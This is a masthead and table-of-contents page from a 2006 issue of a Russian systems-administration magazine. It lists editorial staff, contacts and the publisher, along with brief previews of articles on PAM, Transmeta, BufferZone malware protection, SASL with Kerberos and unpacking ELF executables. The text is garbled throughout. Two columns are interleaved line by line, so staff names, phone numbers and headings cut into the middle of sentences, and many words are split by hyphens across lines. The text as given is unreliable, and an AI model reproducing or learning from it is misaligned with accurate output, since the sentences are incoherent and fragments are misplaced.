Исполнительный директор
Владимир Положевец Система авторизации PAM простым делом. Разработчики изра-
Ответственный секретарь Система PAM используется практичес- ильской компании Trustware Inc. пред-
Наталья Хвостова ки на всех UNIX-системах, за исключе- лагают подход, позволяющий актив-
sekretar@samag.ru нием разве что OpenBSD. В статье вы но защищать операционную систему
Технический редактор найдете описание процесса конфигу- Windows против злонамеренного про-
Владимир Лукин рирования системы PAM и установки граммного обеспечения и других ви-
Редактор и настройки дополнительных модулей. дов атак. Без каждодневных обновле-
Алексей Коршунов
Программистам пригодится информа- ний, с максимальной защитой при ми-
Внештатные редакторы
ция о том, как написать свой модуль нимальном участии пользователя.
Алексей Барабанов
Сергей Супрунов и приложение для него.
Дмитрий Мороз SASL – модуль сетевой
Суровая правда, скрытая аутентификации
РЕКЛАМНАЯ СЛУЖБА за «розовыми очками»: пользователей
тел./факс: (495) 628-8253 история компании С помощью библиотеки SASL2 сете-
Евгения Тарабрина Transmeta вые приложения могут автоматически
reсlama@samag.ru В мире существует категория людей, договориться об использовании опре-
которые из кожи вон лезут, лишь бы деленного механизма подтверждения
Верстка и оформление подарить другим благо, причём без- идентичности пользователя. Как на-
maker_up@samag.ru
возмездно. Но зачастую большинс- строить библиотеку SASL для работы
Дизайн обложки
тву «манна небесная» не всегда по ду- совместно c Kerberos?
Николай Петрочук
ше, или, попросту, не нужна. Компа-
По вопросам распространения ния Transmeta принесла практически Упаковщики исполняемых
обращайтесь по телефону: «совершенные» процессоры в массы, файлов в Linux/BSD
(495) 628-8253 (доб. 120) однако собственноручно допущенные Большинство UNIX-программ рас-
ошибки, жестокая конкуренция и при- пространяются в исходных текстах,
107045, г. Москва, вередливые пользователи не позволи- но количество коммерческих продук-
Ананьевский переулок, дом 4/2, стр. 1 ли задуманному осуществиться. тов с закрытым кодом неуклонно рас-
тел./факс: (495) 628-8253 тет, зачастую распространясь в упа-
Сайт журнала: www.samag.ru Защита от malware кованном виде. Это не только пре-
ИЗДАТЕЛЬ
при помощи BufferZone пятствует анализу, но снижает про-
Борьба с различного рода злонаме- изводительность и ухудшает совмес-
ЗАО «Издательский дом
«Учительская газета» ренными программами, является час- тимость с «зоопарком» UNIX-клонов.
тью обязанностей администратора но, покажем на примере ELFCrypt, UPX,
Отпечатано типографией учитывая, что ежедневно обнаружива- Burneye и Shiva, как можно освобо-
ГП «Московская Типография №13» ется около 50 новых, это становится не диться от упаковщиков.
Тираж 11000 экз.

Журнал зарегистрирован Уважаемые читатели!


в Министерстве РФ по делам печати,
телерадиовещания и средств массо-
вых коммуникаций (свидетельство
Спешите оформить подписку
ПИ № 77-12542 от 24 апреля 2002 г.).
на второе полугодие 2006 года!
За содержание статьи ответственность Приобрести новые и старые номера журнала
несет автор. За содержание рекламно- вы можете через интернет-магазины LinuxCenter.ru и Allsoft.ru.
го объявления ответственность несет
рекламодатель. Все права на опубли-
кованные материалы защищены.

Доставка почтой в любую точку России.

96